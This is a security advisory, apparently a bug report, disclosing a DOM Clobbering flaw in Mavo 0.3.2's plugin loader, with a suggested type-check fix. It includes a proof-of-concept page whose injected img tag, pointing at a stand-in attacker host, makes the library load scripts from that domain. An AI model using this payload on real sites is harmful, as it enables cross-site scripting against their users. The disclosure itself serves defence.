We identified a DOM Clobbering vulnerability within the Mavo library (version 0.3.2). The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
Given the usage of Mavo in various web applications, addressing this vulnerability will enhance its resilience against DOM Clobbering attacks.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Mavo’s plugin-loading mechanism uses document.currentScript to set the base URL for loading dependencies. However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by attacker-injected non-script HTML elements (e.g., <img name="currentScript">) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements, enabling arbitrary script loading from the attacker's controlled domain.
https://github.com/mavoweb/mavo/blob/78efe2b9cadd09c1d131b8afd5fe2f38d5cfa8c7/src/plugins.js#L94-L98
if (o.dependencies) {
let base = document.currentScript ? document.currentScript.src : location;
let dependencies = o.dependencies.map(url => Mavo.load(url, base));
ready.push(...dependencies);
}
In this code, base can be influenced by setting the src of an attacker-controlled element with name="currentScript", resulting in loading dependencies from an attacker’s domain.
The following example demonstrates how a dependency, i.e., a.jd, can be loaded from attacker-controlled domain through an injected HTML element:
<html>
<body>
<!-- Payload -->
<img name="currentScript" src="http://attacker.controlled.com"></img>
<!-- Payload -->
<!-- Library -->
<script src="https://get.mavo.io/stable/mavo.js"></script>
<link rel="stylesheet" href="https://get.mavo.io/stable/mavo.css">
<script>
(function ($, $$) {
Mavo.Plugins.register("myplugin", {
dependencies: ["a.js"],
});
})(Bliss, Bliss.$);
</script>
<!-- Library -->
</body>
</html>
To mitigate this issue, an additional type check should be added to ensure that document.currentScript references only <script> elements:
let base = document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' ? document.currentScript.src : location;